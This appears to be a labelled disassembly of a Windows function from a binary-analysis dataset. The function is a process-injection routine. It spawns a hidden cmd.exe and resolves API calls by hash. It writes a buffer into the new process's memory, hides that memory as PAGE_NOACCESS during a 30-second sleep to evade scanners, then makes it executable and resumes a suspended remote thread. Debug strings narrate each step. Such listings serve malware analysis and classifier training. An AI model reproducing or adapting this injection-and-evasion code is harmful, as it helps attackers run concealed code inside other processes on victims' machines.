Function at 0x140001920
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x120
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140022018]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov rdi, rcx
call fcn.1400016a0
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rdi + rsi], 0
jne 0x140001964
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov qword [rsp + 0x58], rax
mov edx, 0x12d32c22
mov r14, rax
call fcn.140001090
xorps xmm0, xmm0
mov dword [rsp + 0x90], 0x68
mov rbp, rax
lea rcx, str.c:windows_system32cmd.exe
xor eax, eax
xor r13d, r13d
mov dword [rsp + 0xf4], eax
xor r9d, r9d
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0xd4], xmm0
movups xmmword [rsp + 0xe4], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001a2f
lea rcx, str.New_cmd.exe_process_created_with_CREATE_NO_WINDOW_flag._n
call fcn.140001030
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
lea rcx, str.PID_of_our_new_cmd.exe:__ld_n
mov ebx, eax
call fcn.140001030
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, str.Getting_handle_to_process_n
mov r15, rax
call fcn.140001030
mov edx, 0x1c6a1fc6
mov rcx, r14
call fcn.140001090
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8, rsi
xor edx, edx
mov rcx, r15
call rax
lea rcx, str.Allocating_memory_in_remote_process_n
mov r12, rax
call fcn.140001030
mov r9, rsi
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r12
mov rcx, r15
call rbp
lea rcx, str.Writing_buffer_to_remote_process_n
call fcn.140001030
mov edx, 0xffbce3e0
mov rcx, r14
call fcn.140001090
mov rbp, rax
mov qword [rsp + 0x50], rax
mov r9d, 1
mov qword [rsp + 0x20], r13
mov r8, rsi
mov rdx, r12
mov rcx, r15
call rbp
lea rcx, str.Setting_PAGE_NOACCESS_on_remote_thread_where_we_stored_our_buffer_n
call fcn.140001030
mov edx, 0x71c5e0b9
mov rcx, r14
call fcn.140001090
mov qword [rsp + 0x30], r13
mov r9, r12
mov dword [rsp + 0x28], 4
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, r15
call rax
lea rcx, str.Remote_Thread_created_in_suspended_state_n
mov r13, rax
call fcn.140001030
lea rcx, str.Going_to_sleep_for_30_seconds..._n
call fcn.140001030
call fcn.14000215c
mov rbx, rax
call fcn.140002140
cmp rbx, 0x989680
jne 0x140001b56
imul rax, rax, 0x64
jmp 0x140001b74
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffff903dc53ff
cmp rax, rcx
jge 0x140001b92
movabs rdi, 0x6fc23ac00
add rdi, rax
jmp 0x140001b9c
movabs rdi, 0x7fffffffffffffff
movsd xmm6, qword [0x14001f7f8]
movabs rbp, 0x311cdad160000
movabs r14, 0x112e0be826d694b3
call fcn.14000215c
mov rbx, rax
call fcn.140002140
cmp rbx, 0x989680
jne 0x140001bd4
imul rbx, rax, 0x64
jmp 0x140001bf5
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rbx, rdi
jge 0x140001c6a
call fcn.140002290
imul rdx, rax, 0x64
xorps xmm0, xmm0
mov rax, rdi
sub rax, rbx
lea rcx, [rdx + rbp]
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r8b
test r8b, r8b
jne 0x140001c26
lea rcx, [rax + rdx]
add rax, rdx
add rdx, rbp
test r8b, r8b
cmove rdx, rax
mov rax, r14
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rsp + 0x78], rdx
sub ecx, eax
mov dword [rsp + 0x80], ecx
lea rcx, [rsp + 0x78]
call fcn.1400022c0
jmp 0x140001bb8
mov rbp, qword [rsp + 0x50]
mov r9d, 0x40
mov r8, rsi
mov qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, r15
call rbp
mov rcx, qword [rsp + 0x58]
mov edx, 0x319f510
call fcn.140001090
mov rcx, r13
call rax
lea rcx, str.Thread_resumed_n
call fcn.140001030
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140002460
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret